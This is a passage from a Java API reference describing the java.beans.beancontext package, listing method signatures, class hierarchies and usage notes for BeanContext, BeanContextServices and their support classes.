 | public abstract java.net.URL getResource (String name, BeanContextChild bcc) throws IllegalArgumentException;
 | public abstract java.io.InputStream getResourceAsStream (String name, BeanContextChild bcc) throws IllegalArgumentException;
 | public abstract Object instantiateChild (String beanName) throws java.io.IOExceptionClassNotFoundException;
}

Hierarchy: (BeanContext(BeanContextChild,java.util.Collection,java.beans.DesignMode,java.beans.Visibility))

Implementations: BeanContextServices, BeanContextSupport

Passed To: java.beans.AppletInitializer.initialize(), java.beans.Beans.instantiate(), BeanContextChild.setBeanContext(), BeanContextChildSupport.{setBeanContext(), validatePendingSetBeanContext()}, BeanContextEvent.{BeanContextEvent(), setPropagatedFrom()}, BeanContextMembershipEvent.BeanContextMembershipEvent(), BeanContextSupport.BeanContextSupport()

Returned By: BeanContextChild.getBeanContext(), BeanContextChildSupport.getBeanContext(), BeanContextEvent.{getBeanContext(), getPropagatedFrom()}, BeanContextSupport.getBeanContextPeer()

Type Of: BeanContextChildSupport.beanContext, BeanContextEvent.propagatedFrom

BeanContextChild Java 1.2
java.beans.beancontext

JavaBeans components that are designed to be nested within a bean context and need to be aware of that context must implement this interface. BeanContextChild implements a single beanContext property that identifies the BeanContext within which the bean is contained. The beanContext property is bound and constrained, which means that it must fire PropertyChangeEvent events when setBeanContext() is called, and any call to setBeanContext() may result in a PropertyVetoException if one of the VetoableChangeListener objects vetoes the change. The setBeanContext() method is not intended for use by beans or by applications. When a bean is instantiated or deserialized, its containing bean context calls this method to introduce itself to the bean. The bean must store a reference to its BeanContext in a transient field so that the context is not serialized along with the bean itself.

Implementing a BeanContextChild from scratch can be somewhat tricky because you must correctly handle the VetoableChangeListener protocol and correctly implement important conventions, such as storing the BeanContext reference in a transient field. Therefore, most bean developers do not implement the interface directly, but instead use BeanContextSupport, either by subclassing it or by using an instance as a delegate.

public interface BeanContextChild {
// | Public Instance Methods
 | public abstract void addPropertyChangeListener (String name, java.beans.PropertyChangeListener pcl);
 | public abstract void addVetoableChangeListener (String name, java.beans.VetoableChangeListener vcl);
 | public abstract BeanContext getBeanContext ();
 | public abstract void removePropertyChangeListener (String name, java.beans.PropertyChangeListener pcl);
 | public abstract void removeVetoableChangeListener (String name, java.beans.VetoableChangeListener vcl);
 | public abstract void setBeanContext (BeanContext bc) throws java.beans.PropertyVetoException;
}

Implementations: BeanContext, BeanContextChildSupport

Passed To: BeanContext.{getResource(), getResourceAsStream()}, BeanContextChildSupport.BeanContextChildSupport(), BeanContextServices.{getService(), releaseService()}, BeanContextServicesSupport.{getService(), releaseService()}, BeanContextSupport.{getResource(), getResourceAsStream()}

Returned By: BeanContextChildSupport.getBeanContextChildPeer(), BeanContextProxy.getBeanContextProxy(), BeanContextSupport.getChildBeanContextChild()

Type Of: BeanContextChildSupport.beanContextChildPeer

BeanContextChildComponentProxy Java 1.2
java.beans.beancontext

If a BeanContextChild is not a Component subclass but has an associated Component object to display its visual representation, it implements this interface to allow access to that component.

public interface BeanContextChildComponentProxy {
// | Public Instance Methods
 | public abstract java.awt.Component getComponent ();
}
BeanContextChildSupport | Java 1.2
java.beans.beancontext | serializable

This class provides support for implementing the BeanContextChild interface in a way that correctly conforms to the details of the bean context specification. A subclass should implement initializeBeanContextResources() and releaseBeanContextResources() to obtain and release whatever resources the bean context child requires, such as service objects obtained from the containing BeanContext. These methods are called when the containing bean context introduces itself by calling setBeanContext(). Any resources obtained with these methods should be stored in transient fields so that they are not serialized along with the bean. A bean that wants a chance to approve any call to setBeanContext() before that call succeeds can implement validatePendingSetBeanContext(). If this method returns false, the setBeanContext() call that triggered it fails with a PropertyVetoException.

Many beans are AWT or Swing components and cannot subclass both Component and BeanContextChildSupport. Therefore, many bean developers find it useful to delegate to an internal instance of BeanContextChildSupport. One way to do this is to have your bean implement the BeanContextProxy interface and simply return an instance of BeanContextChildSupport from the getBeanContextProxy() method. Another technique is to actually implement the BeanContextChild interface in your bean, but provide dummy methods that call the corresponding methods of BeanContextChildSupport. If you do this, you should pass an instance of your bean to the BeanContextChildSupport() constructor. This makes the delegation transparent so events appear to come directly from your bean. In either case, you can instantiate BeanContextChildSupport directly. Often, however, you want to create a custom subclass (perhaps as an inner class) to implement methods such as initializeBeanContextResources().

public class BeanContextChildSupport implements BeanContextChildBeanContextServicesListenerSerializable {
// | Public Constructors
 | public BeanContextChildSupport (); |
 | public BeanContextChildSupport (BeanContextChild bcc); |
// | Public Instance Methods
 | public void firePropertyChange (String name, Object oldValue, Object newValue); |
 | public void fireVetoableChange (String name, Object oldValue, Object newValue) throws java.beans.PropertyVetoException; |
 | public BeanContextChild getBeanContextChildPeer (); | default:BeanContextChildSupport
 | public boolean isDelegated (); | default:false
 | public boolean validatePendingSetBeanContext (BeanContext newValue); | constant
// | Methods Implementing BeanContextChild
 | public void addPropertyChangeListener (String name, java.beans.PropertyChangeListener pcl); |
 | public void addVetoableChangeListener (String name, java.beans.VetoableChangeListener vcl); |
 | public BeanContext getBeanContext (); | synchronized default:null
 | public void removePropertyChangeListener (String name, java.beans.PropertyChangeListener pcl); |
 | public void removeVetoableChangeListener (String name, java.beans.VetoableChangeListener vcl); |
 | public void setBeanContext (BeanContext bc) throws java.beans.PropertyVetoException; | synchronized
// | Methods Implementing BeanContextServiceRevokedListener
 | public void serviceRevoked (BeanContextServiceRevokedEvent bcsre); | empty
// | Methods Implementing BeanContextServicesListener
 | public void serviceAvailable (BeanContextServiceAvailableEvent bcsae); | empty
// | Protected Instance Methods
 | protected void initializeBeanContextResources (); | empty
 | protected void releaseBeanContextResources (); | empty
// | Public Instance Fields
 | public BeanContextChild beanContextChildPeer ; |
// | Protected Instance Fields
 | protected transient BeanContext beanContext ; |
 | protected java.beans.PropertyChangeSupport pcSupport ; |
 | protected transient boolean rejectedSetBCOnce ; |
 | protected java.beans.VetoableChangeSupport vcSupport ; |
}

Hierarchy: Object-->BeanContextChildSupport(BeanContextChild,BeanContextServicesListener(BeanContextServiceRevokedListener(java.util.EventListener)),Serializable)

Subclasses: BeanContextSupport

BeanContextContainerProxy Java 1.2
java.beans.beancontext

This interface is implemented by a BeanContext that has a java.awt.Container associated with it. The getContainer() method allows any interested parties to obtain a reference to the container associated with the bean context. It is a common practice for bean contexts to be associated with containers. Unfortunately, BeanContext implements java.util.Collection, which has method-name conflicts with java.awt.Container, so no Container subclass can implement the BeanContext interface. See also BeanContextProxy, which reverses the direction of the proxy relationship.

public interface BeanContextContainerProxy {
// | Public Instance Methods
 | public abstract java.awt.Container getContainer ();
}
BeanContextEvent | Java 1.2
java.beans.beancontext | serializable event

This is the abstract superclass of all bean context-related events. getBeanContext() returns the source of the event. If isPropagated() returns true, the event has been propagated through a hierarchy of bean contexts, and getPropagatedFrom() returns the most recent bean context to propagate the event.

public abstract class BeanContextEvent extends java.util.EventObject {
// | Protected Constructors
 | protected BeanContextEvent (BeanContext bc); |
// | Public Instance Methods
 | public BeanContext getBeanContext (); |
 | public BeanContext getPropagatedFrom (); | synchronized
 | public boolean isPropagated (); | synchronized
 | public void setPropagatedFrom (BeanContext bc); | synchronized
// | Protected Instance Fields
 | protected BeanContext propagatedFrom ; |
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->BeanContextEvent

Subclasses: BeanContextMembershipEvent, BeanContextServiceAvailableEvent, BeanContextServiceRevokedEvent

BeanContextMembershipEvent | Java 1.2
java.beans.beancontext | serializable event

An event of this type is generated by a BeanContext when beans are added to it or removed from it. The event object contains the list of children that were added or removed and allows access to that list in several ways. The size() method returns the number of affected children. The contains() method checks whether a specified object was one of the affected children. toArray() returns the list of affected children as an array, and iterator() returns the list in the form of a java.util.Iterator.

public class BeanContextMembershipEvent extends BeanContextEvent {
// | Public Constructors
 | public BeanContextMembershipEvent (BeanContext bc, Object[ ] changes);
 | public BeanContextMembershipEvent (BeanContext bc, java.util.Collection changes);
// | Public Instance Methods
 | public boolean contains (Object child);
 | public java.util.Iterator iterator ();
 | public int size ();
 | public Object[ ] toArray ();
// | Protected Instance Fields
 | protected java.util.Collection children ;
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->BeanContextEvent-->BeanContextMembershipEvent

Passed To: BeanContextMembershipListener.{childrenAdded(), childrenRemoved()}, BeanContextSupport.{fireChildrenAdded(), fireChildrenRemoved()}

BeanContextMembershipListener | Java 1.2
java.beans.beancontext | event listener

This interface should be implemented by any object that wants to be notified when children are added to or removed from a BeanContext.

public interface BeanContextMembershipListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void childrenAdded (BeanContextMembershipEvent bcme);
 | public abstract void childrenRemoved (BeanContextMembershipEvent bcme);
}

Hierarchy: (BeanContextMembershipListener(java.util.EventListener))

Passed To: BeanContext.{addBeanContextMembershipListener(), removeBeanContextMembershipListener()}, BeanContextSupport.{addBeanContextMembershipListener(), removeBeanContextMembershipListener()}

Returned By: BeanContextSupport.getChildBeanContextMembershipListener()

BeanContextProxy Java 1.2
java.beans.beancontext

This interface is implemented by a JavaBeans component (often, but not always, an AWT Component or Container object) that is not itself a BeanContext or BeanContextChild, but has a BeanContext or BeanContextChild object associated with it. The getBeanContextProxy() method returns the associated object. The return type of this method is BeanContextChild. Depending on the context in which you call this method, however, the returned object may actually be a BeanContext or BeanContextServices object. You should test for this using the instanceof operator before casting the object to these more specific types.

public interface BeanContextProxy {
// | Public Instance Methods
 | public abstract BeanContextChild getBeanContextProxy ();
}
BeanContextServiceAvailableEvent | Java 1.2
java.beans.beancontext | serializable event

An event of this type is generated to notify interested BeanContextServicesListener objects that a new class of service is available from a BeanContextServices object. getServiceClass() returns the class of the service, and getCurrentServiceSelectors() may return a set of additional arguments that can parameterize the service.

public class BeanContextServiceAvailableEvent extends BeanContextEvent {
// | Public Constructors
 | public BeanContextServiceAvailableEvent (BeanContextServices bcs, Class sc);
// | Public Instance Methods
 | public java.util.Iterator getCurrentServiceSelectors ();
 | public Class getServiceClass ();
 | public BeanContextServices getSourceAsBeanContextServices ();
// | Protected Instance Fields
 | protected Class serviceClass ;
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->BeanContextEvent-->BeanContextServiceAvailableEvent

Passed To: BeanContextChildSupport.serviceAvailable(), BeanContextServicesListener.serviceAvailable(), BeanContextServicesSupport.{fireServiceAdded(), serviceAvailable()}

BeanContextServiceProvider Java 1.2
java.beans.beancontext

This interface defines the methods that must be implemented by a factory class that wants to provide service objects to beans. To provide its service, a BeanContextServiceProvider is passed to the addService() method of a BeanContextServices object. This creates a mapping in the BeanContextServices object between a class of service (such as java.awt.print.PrinterJob) and a BeanContextServiceProvider that can return a suitable instance of that class to provide the service.

When a BeanContextChild requests a service of a particular class from its BeanContextServices container, the BeanContextServices object finds the appropriate BeanContextServiceProvider object and forwards the request to its getService() method. When the bean relinquishes the service, releaseService() is called. A getService() request may include an arbitrary object as an additional parameter or service selector. Service providers that use the service selector argument and that support a finite set of legal service selector values should implement the getCurrentServiceSelectors() method to allow the list of legal selector values to be queried.

Bean developers typically do not have to use or implement this interface. From the point of view of a bean context child, service objects are obtained from a BeanContextServices object. Developers creating BeanContextServices implementations, however, must implement appropriate BeanContextServiceProvider objects to provide the services.

public interface BeanContextServiceProvider {
// | Public Instance Methods
 | public abstract java.util.Iterator getCurrentServiceSelectors (BeanContextServices bcs, Class serviceClass);
 | public abstract Object getService (BeanContextServices bcs, Object requestor, Class serviceClass, Object serviceSelector);
 | public abstract void releaseService (BeanContextServices bcs, Object requestor, Object service);
}

Implementations: BeanContextServicesSupport.BCSSProxyServiceProvider

Passed To: BeanContextServices.{addService(), revokeService()}, BeanContextServicesSupport.{addService(), createBCSSServiceProvider(), revokeService()}

Returned By: BeanContextServicesSupport.BCSSServiceProvider.getServiceProvider()

Type Of: BeanContextServicesSupport.BCSSServiceProvider.serviceProvider

BeanContextServiceProviderBeanInfo Java 1.2
java.beans.beancontext

A BeanContextServiceProvider that wishes to provide information to a GUI builder tool about the service or services it offers should implement this BeanInfo subinterface. Following the standard BeanInfo naming conventions, the implementing class should have the same name as the service provider class, with "BeanInfo" appended. This enables a design tool to look for and dynamically load the bean info class when necessary.

getServicesBeanInfo() should return an array of BeanInfo objects, one for each class of service offered by the BeanContextServiceProvider. These BeanInfo objects enable a design tool to allow the user to visually configure the service object. This can be quite useful, since service objects may be instances of existing classes that were not designed with the standard JavaBeans naming conventions in mind.

public interface BeanContextServiceProviderBeanInfo extends java.beans.BeanInfo {
// | Public Instance Methods
 | public abstract java.beans.BeanInfo[ ] getServicesBeanInfo ();
}

Hierarchy: (BeanContextServiceProviderBeanInfo(java.beans.BeanInfo))

BeanContextServiceRevokedEvent | Java 1.2
java.beans.beancontext | serializable event

This event class provides details about a service revocation initiated by a BeanContextServices object. getServiceClass() specifies the class of service being revoked. isCurrentServiceInvalidNow() specifies whether the currently owned service object has become invalid. If this method returns true, the bean that receives this event must stop using the service object immediately. If the method returns false, the bean can continue to use the service object, but future requests for services of this class will fail.

public class BeanContextServiceRevokedEvent extends BeanContextEvent {
// | Public Constructors
 | public BeanContextServiceRevokedEvent (BeanContextServices bcs, Class sc, boolean invalidate);
// | Public Instance Methods
 | public Class getServiceClass ();
 | public BeanContextServices getSourceAsBeanContextServices ();
 | public boolean isCurrentServiceInvalidNow ();
 | public boolean isServiceClass (Class service);
// | Protected Instance Fields
 | protected Class serviceClass ;
}

Hierarchy: Object-->java.util.EventObject(Serializable)-->BeanContextEvent-->BeanContextServiceRevokedEvent

Passed To: BeanContextChildSupport.serviceRevoked(), BeanContextServiceRevokedListener.serviceRevoked(), BeanContextServicesSupport.{fireServiceRevoked(), serviceRevoked()}, BeanContextServicesSupport.BCSSProxyServiceProvider.serviceRevoked()

BeanContextServiceRevokedListener | Java 1.2
java.beans.beancontext | event listener

This interface defines a method that is invoked when a service object returned by a BeanContextServices object is forcibly revoked. Unlike other types of event listeners, the BeanContextServiceRevokedListener is not registered and deregistered with a pair of add and remove methods. Instead, an implementation of this interface must be passed to every getService() call on a BeanContextServices object. If the returned service is ever revoked by the granting BeanContextServiceProvider object before the bean has relinquished the service, the serviceRevoked() method of this interface is called.

When a service is revoked, it means that future requests for the service will not succeed. But it may also mean that current service objects have become invalid and must not be used anymore. The serviceRevoked() method should call the isCurrentServiceInvalidNow() method of the supplied event object to determine if this is the case. If so, it must immediately stop using the service object.

public interface BeanContextServiceRevokedListener extends java.util.EventListener {
// | Public Instance Methods
 | public abstract void serviceRevoked (BeanContextServiceRevokedEvent bcsre);
}

Hierarchy: (BeanContextServiceRevokedListener(java.util.EventListener))

Implementations: BeanContextServicesListener, BeanContextServicesSupport.BCSSProxyServiceProvider

Passed To: BeanContextServices.getService(), BeanContextServicesSupport.getService()

BeanContextServices | Java 1.2
java.beans.beancontext | collection event listener

This interface defines additional methods a bean context class must implement if it wants to provide services to the beans it contains. A bean calls hasService() to determine if a service of a particular type is available from its bean context. It calls getService() to request an instance of the specified service class and then calls releaseService() when it no longer needs the service object. A bean that wants to find the complete list of available services can call getCurrentServiceClasses(). Some services allow (or require) a service selector object to be passed to the getService() method to provide additional information about the service object. If a service defines a fixed set of legal service selectors, getCurrentServiceSelectors() allows a bean to iterate through the set of selector objects. Beans that want to know when new services become available or when existing services are revoked should register a BeanContextServicesListener object with addBeanContextServicesListener().

If a BeanContextServices object does not provide a requested service, but is nested within another BeanContext, it should check whether any of its ancestor bean contexts can provide the service. The BeanContextServices interface extends BeanContextServicesListener. This means that every BeanContextServices object can be listening to the set of services available from its container.

The previous methods are the ones beans call to obtain services. BeanContextServices defines a different set of methods service providers use to deliver services. addService() defines a BeanContextServiceProvider for a specified Class of service. revokeService() removes this mapping between service class and service provider, and indicates that the specified service is no longer available. When a service is revoked, the BeanContextServices object must notify any beans that have been granted service objects (and have not released them yet) that the service has been revoked. It does this by notifying the BeanContextServiceRevokedListener objects passed to the getService() method.

Bean context developers may find it easier to use the BeanContextServicesSupport class, either by subclassing or by delegation, instead of implementing BeanContextServices from scratch.

public interface BeanContextServices extends BeanContext, BeanContextServicesListener {
// | Event Registration Methods (by event name)
 | public abstract void addBeanContextServicesListener (BeanContextServicesListener bcsl);
 | public abstract void removeBeanContextServicesListener (BeanContextServicesListener bcsl);
// | Public Instance Methods
 | public abstract boolean addService (Class serviceClass, BeanContextServiceProvider serviceProvider);
 | public abstract java.util.Iterator getCurrentServiceClasses ();
 | public abstract java.util.Iterator getCurrentServiceSelectors (Class serviceClass);
 | public abstract Object getService (BeanContextChild child, Object requestor, Class serviceClass, Object serviceSelector, BeanContextServiceRevokedListener bcsrl) throws java.util.TooManyListenersException;
 | public abstract boolean hasService (Class serviceClass);
 | public abstract void releaseService (BeanContextChild child, Object requestor, Object service);
 | public abstract void revokeService (Class serviceClass, BeanContextServiceProvider serviceProvider, boolean revokeCurrentServicesNow);
}

Hierarchy: (BeanContextServices(BeanContext(BeanContextChild,java.util.Collection,java.beans.DesignMode,java.beans.Visibility),BeanContextServicesListener(BeanContextServiceRevokedListener(java.util.EventListener))))

Implementations: BeanContextServicesSupport

Passed To: BeanContextServiceAvailableEvent.BeanContextServiceAvailableEvent(), BeanContextServiceProvider.{getCurrentServiceSelectors(), getService(), releaseService()}, BeanContextServiceRevokedEvent.BeanContextServiceRevokedEvent(), BeanContextServicesSupport.BeanContextServicesSupport(), BeanContextServicesSupport.BCSSProxyServiceProvider.{getCurrentServiceSelectors(), getService(), releaseService()}

Returned By: BeanContextServiceAvailableEvent.getSourceAsBeanContextServices(), BeanContextServiceRevokedEvent.getSourceAsBeanContextServices(), BeanContextServicesSupport.getBeanContextServicesPeer()

BeanContextServicesListener | Java 1.2
java.beans.beancontext | event listener

This interface adds a serviceAvailable() method to the serviceRevoked() method of BeanContextServiceRevokedListener. Listeners of this type can be registered with a BeanContextServices object and are notified when a new class of service becomes available or when an existing class of service is revoked.

public interface BeanContextServicesListener extends BeanContextServiceRevokedListener {
// | Public Instance Methods
 | public abstract void serviceAvailable (BeanContextServiceAvailableEvent bcsae);
}

Hierarchy: (BeanContextServicesListener(BeanContextServiceRevokedListener(java.util.EventListener)))

Implementations: BeanContextChildSupport, BeanContextServices

Passed To: BeanContextServices.{addBeanContextServicesListener(), removeBeanContextServicesListener()}, BeanContextServicesSupport.{addBeanContextServicesListener(), removeBeanContextServicesListener()}

Returned By: BeanContextServicesSupport.getChildBeanContextServicesListener()

BeanContextServicesSupport | Java 1.2
java.beans.beancontext | serializable collection

This class is a useful implementation of the BeanContextServices interface that correctly conforms to the bean context specifications and conventions. Most bean context implementors find it easier to subclass this class or delegate to an instance of this class rather than implement BeanContextServices from scratch. The most common technique is to implement the BeanContextProxy interface and return an instance of BeanContextServicesSupport from the getBeanContextProxy() method.

public class BeanContextServicesSupport extends BeanContextSupport implements BeanContextServices {
// | Public Constructors
 | public BeanContextServicesSupport (); |
 | public BeanContextServicesSupport (BeanContextServices peer); |
 | public BeanContextServicesSupport (BeanContextServices peer, java.util.Locale lcle); |
 | public BeanContextServicesSupport (BeanContextServices peer, java.util.Locale lcle, boolean dtime); |
 | public BeanContextServicesSupport (BeanContextServices peer, java.util.Locale lcle, boolean dTime, boolean visible); |
// | Inner Classes
 | ; |
 | ; |
 | ; |
// | Protected Class Methods
 | protected static final BeanContextServicesListener getChildBeanContextServicesListener (Object child); |
// | Event Registration Methods (by event name)
 | public void addBeanContextServicesListener (BeanContextServicesListener bcsl); | Implements:BeanContextServices
 | public void removeBeanContextServicesListener (BeanContextServicesListener bcsl); | Implements:BeanContextServices
// | Public Instance Methods
 | public BeanContextServices getBeanContextServicesPeer (); | default:BeanContextServicesSupport
// | Methods Implementing BeanContextServiceRevokedListener
 | public void serviceRevoked (BeanContextServiceRevokedEvent bcssre); |
// | Methods Implementing BeanContextServices
 | public void addBeanContextServicesListener (BeanContextServicesListener bcsl); |
 | public boolean addService (Class serviceClass, BeanContextServiceProvider bcsp); |
 | public java.util.Iterator getCurrentServiceClasses (); | default:BeanContextSupport.BCSIterator
 | public java.util.Iterator getCurrentServiceSelectors (Class serviceClass); |
 | public Object getService (BeanContextChild child, Object requestor, Class serviceClass, Object serviceSelector, BeanContextServiceRevokedListener bcsrl) throws java.util.TooManyListenersException; |
 | public boolean hasService (Class serviceClass); | synchronized
 | public void releaseService (BeanContextChild child, Object requestor, Object service); |
 | public void removeBeanContextServicesListener (BeanContextServicesListener bcsl); |
 | public void revokeService (Class serviceClass, BeanContextServiceProvider bcsp, boolean revokeCurrentServicesNow); |
// | Methods Implementing BeanContextServicesListener
 | public void serviceAvailable (BeanContextServiceAvailableEvent bcssae); |
// | Public Methods Overriding BeanContextSupport
 | public void initialize (); |
// | Protected Methods Overriding BeanContextSupport
 | protected void bcsPreDeserializationHook (java.io.ObjectInputStream ois) throws java.io.IOExceptionClassNotFoundException; | synchronized
 | protected void bcsPreSerializationHook (java.io.ObjectOutputStream oos) throws java.io.IOException; | synchronized
 | protected void childJustRemovedHook (Object child, BeanContextSupport.BCSChild bcsc); |
 | protected BeanContextSupport.BCSChild createBCSChild (Object targetChild, Object peer); |
// | Protected Methods Overriding BeanContextChildSupport
 | protected void initializeBeanContextResources (); | synchronized
 | protected void releaseBeanContextResources (); | synchronized
// | Protected Instance Methods
 | protected boolean addService (Class serviceClass, BeanContextServiceProvider bcsp, boolean fireEvent); |
 | protected BeanContextServicesSupport.BCSSServiceProvider createBCSSServiceProvider (Class sc, BeanContextServiceProvider bcsp); |
 | protected final void fireServiceAdded (BeanContextServiceAvailableEvent bcssae); |
 | protected final void fireServiceAdded (Class serviceClass); |
 | protected final void fireServiceRevoked (BeanContextServiceRevokedEvent bcsre); |
 | protected final void fireServiceRevoked (Class serviceClass, boolean revokeNow); |
// | Protected Instance Fields
 | protected transient java.util.ArrayList bcsListeners ; |
 | protected transient BeanContextServicesSupport.BCSSProxyServiceProvider proxy ; |
 | protected transient int serializable ; |
 | protected transient java.util.HashMap services ; |
}

Hierarchy: Object-->BeanContextChildSupport(BeanContextChild,BeanContextServicesListener(BeanContextServiceRevokedListener(java.util.EventListener)),Serializable)-->BeanContextSupport(BeanContext(BeanContextChild,java.util.Collection,java.beans.DesignMode,java.beans.Visibility),java.beans.PropertyChangeListener(java.util.EventListener),Serializable,java.beans.VetoableChangeListener(java.util.EventListener))-->BeanContextServicesSupport(BeanContextServices(BeanContext(BeanContextChild,java.util.Collection,java.beans.DesignMode,java.beans.Visibility),BeanContextServicesListener(BeanContextServiceRevokedListener(java.util.EventListener))))

BeanContextServicesSupport.BCSSChild | Java 1.2
java.beans.beancontext | serializable

This class is used internally by BeanContextServicesSupport to associate additional information with each child of the bean context. It has no public or protected method or fields, but may be customized by subclassing.

protected class BeanContextServicesSupport.BCSSChild extends BeanContextSupport.BCSChild {
// No Constructor
}
BeanContextServicesSupport.BCSSProxyServiceProvider Java 1.2
java.beans.beancontext

This inner class is used internally by BeanContextServicesSupport to properly handle delegation to the services provided by containing bean contexts. It implements the BeanContextServiceProvider interface in terms of the methods of a containing BeanContextServices object.

protected class BeanContextServicesSupport.BCSSProxyServiceProvider implements BeanContextServiceProviderBeanContextServiceRevokedListener {
// | No Constructor
// | Methods Implementing BeanContextServiceProvider
 | public java.util.Iterator getCurrentServiceSelectors (BeanContextServices bcs, Class serviceClass);
 | public Object getService (BeanContextServices bcs, Object requestor, Class serviceClass, Object serviceSelector);
 | public void releaseService (BeanContextServices bcs, Object requestor, Object service);
// | Methods Implementing BeanContextServiceRevokedListener
 | public void serviceRevoked (BeanContextServiceRevokedEvent bcsre);
}

Type Of: BeanContextServicesSupport.proxy

BeanContextServicesSupport.BCSSServiceProvider | Java 1.2
java.beans.beancontext | serializable

This inner class is a trivial wrapper around a BeanContextServiceProvider object. Subclasses that want to associate additional information with each service provider can subclass this class and override the createBCSSServiceProvider() method of BeanContextServicesSupport.

protected static class BeanContextServicesSupport.BCSSServiceProvider implements Serializable {
// | No Constructor
// | Protected Instance Methods
 | protected BeanContextServiceProvider getServiceProvider ();
// | Protected Instance Fields
 | protected BeanContextServiceProvider serviceProvider ;
}

Returned By: BeanContextServicesSupport.createBCSSServiceProvider()

BeanContextSupport | Java 1.2
java.beans.beancontext | serializable collection

This class provides a simple, easily customizable implementation of BeanContext. Most bean context implementors find it easier to subclass BeanContextSupport or create a BeanContextSupport delegate object rather than implement the BeanContext interface from scratch.

Bean contexts are often AWT or Swing containers and cannot (because of a method-naming conflict) implement BeanContext. Therefore, a context object implements the BeanContextProxy interface and returns a BeanContext object from its getBeanContextProxy() method. A BeanContextSupport object is a suitable object to return from this method.

Some bean contexts require customized behavior, however, and BeanContextSupport is designed to be easily customized through subclassing. Protected methods such as childJustAddedHook() and validatePendingAdd() are particularly useful when subclassing.

public class BeanContextSupport extends BeanContextChildSupport implements BeanContext, java.beans.PropertyChangeListener, Serializable, java.beans.VetoableChangeListener {
// | Public Constructors
 | public BeanContextSupport (); |
 | public BeanContextSupport (BeanContext peer); |
 | public BeanContextSupport (BeanContext peer, java.util.Locale lcle); |
 | public BeanContextSupport (BeanContext peer, java.util.Locale lcle, boolean dtime); |
 | public BeanContextSupport (BeanContext peer, java.util.Locale lcle, boolean dTime, boolean visible); |
// | Inner Classes
 | ; |
 | ; |
// | Protected Class Methods
 | protected static final boolean classEquals (Class first, Class second); |
 | protected static final BeanContextChild getChildBeanContextChild (Object child); |
 | protected static final BeanContextMembershipListener getChildBeanContextMembershipListener (Object child); |
 | protected static final java.beans.PropertyChangeListener getChildPropertyChangeListener (Object child); |
 | protected static final Serializable getChildSerializable (Object child); |
 | protected static final java.beans.VetoableChangeListener getChildVetoableChangeListener (Object child); |
 | protected static final java.beans.Visibility getChildVisibility (Object child); |
// | Event Registration Methods (by event name)
 | public void addBeanContextMembershipListener (BeanContextMembershipListener bcml); | Implements:BeanContext
 | public void removeBeanContextMembershipListener (BeanContextMembershipListener bcml); | Implements:BeanContext
// | Property Accessor Methods (by property name)
 | public BeanContext getBeanContextPeer (); | default:BeanContextSupport
 | public boolean isDesignTime (); | Implements:DesignMode synchronized default:false
 | public void setDesignTime (boolean dTime); | Implements:DesignMode synchronized
 | public boolean isEmpty (); | Implements:Collection default:true
 | public java.util.Locale getLocale (); | synchronized
 | public void setLocale (java.util.Locale newLocale) throws java.beans.PropertyVetoException; | synchronized
 | public boolean isSerializing (); | default:false
// | Public Instance Methods
 | public boolean containsKey (Object o); |
 | public final void readChildren (java.io.ObjectInputStream ois) throws java.io.IOExceptionClassNotFoundException; |
 | public final void writeChildren (java.io.ObjectOutputStream oos) throws java.io.IOException; |
// | Methods Implementing BeanContext
 | public void addBeanContextMembershipListener (BeanContextMembershipListener bcml); |
 | public java.net.URL getResource (String name, BeanContextChild bcc); |
 | public java.io.InputStream getResourceAsStream (String name, BeanContextChild bcc); |
 | public Object instantiateChild (String beanName) throws java.io.IOExceptionClassNotFoundException; |
 | public void removeBeanContextMembershipListener (BeanContextMembershipListener bcml); |
// | Methods Implementing Collection
 | public boolean add (Object targetChild); |
 | public boolean addAll (java.util.Collection c); |
 | public void clear (); |
 | public boolean contains (Object o); |
 | public boolean containsAll (java.util.Collection c); |
 | public boolean isEmpty (); | default:true
 | public java.util.Iterator iterator (); |
 | public boolean remove (Object targetChild); |
 | public boolean removeAll (java.util.Collection c); |
 | public boolean retainAll (java.util.Collection c); |
 | public int size (); |
 | public Object[ ] toArray (); |
 | public Object[ ] toArray (Object[ ] arry); |
// | Methods Implementing DesignMode
 | public boolean isDesignTime (); | synchronized default:false
 | public void setDesignTime (boolean dTime); | synchronized
// | Methods Implementing PropertyChangeListener
 | public void propertyChange (java.beans.PropertyChangeEvent pce); |
// | Methods Implementing VetoableChangeListener
 | public void vetoableChange (java.beans.PropertyChangeEvent pce) throws java.beans.PropertyVetoException; |
// | Methods Implementing Visibility
 | public boolean avoidingGui (); |
 | public void dontUseGui (); | synchronized
 | public boolean needsGui (); | synchronized
 | public void okToUseGui (); | synchronized
// | Protected Instance Methods
 | protected java.util.Iterator bcsChildren (); |
 | protected void bcsPreDeserializationHook (java.io.ObjectInputStream ois) throws java.io.IOExceptionClassNotFoundException; | empty
 | protected void bcsPreSerializationHook (java.io.ObjectOutputStream oos) throws java.io.IOException; | empty
 | protected void childDeserializedHook (Object child, BeanContextSupport.BCSChild bcsc); |
 | protected void childJustAddedHook (Object child, BeanContextSupport.BCSChild bcsc); | empty
 | protected void childJustRemovedHook (Object child, BeanContextSupport.BCSChild bcsc); | empty
 | protected final Object[ ] copyChildren (); |
 | protected BeanContextSupport.BCSChild createBCSChild (Object targetChild, Object peer); |
 | protected final void deserialize (java.io.ObjectInputStream ois, java.util.Collection coll) throws java.io.IOExceptionClassNotFoundException; |
 | protected final void fireChildrenAdded (BeanContextMembershipEvent bcme); |
 | protected final void fireChildrenRemoved (BeanContextMembershipEvent bcme); |
 | protected void initialize (); | synchronized
 | protected boolean remove (Object targetChild, boolean callChildSetBC); |
 | protected final void serialize (java.io.ObjectOutputStream oos, java.util.Collection coll) throws java.io.IOException; |
 | protected boolean validatePendingAdd (Object targetChild); | constant
 | protected boolean validatePendingRemove (Object targetChild); | constant
// | Protected Instance Fields
 | protected transient java.util.ArrayList bcmListeners ; |
 | protected transient java.util.HashMap children ; |
 | protected boolean designTime ; |
 | protected java.util.Locale locale ; |
 | protected boolean okToUseGui ; |
}

Hierarchy: Object-->BeanContextChildSupport(BeanContextChild,BeanContextServicesListener(BeanContextServiceRevokedListener(java.util.EventListener)),Serializable)-->BeanContextSupport(BeanContext(BeanContextChild,java.util.Collection,java.beans.DesignMode,java.beans.Visibility),java.beans.PropertyChangeListener(java.util.EventListener),Serializable,java.beans.VetoableChangeListener(java.util.EventListener))

Subclasses: BeanContextServicesSupport

BeanContextSupport.BCSChild | Java 1.2
java.beans.beancontext | serializable

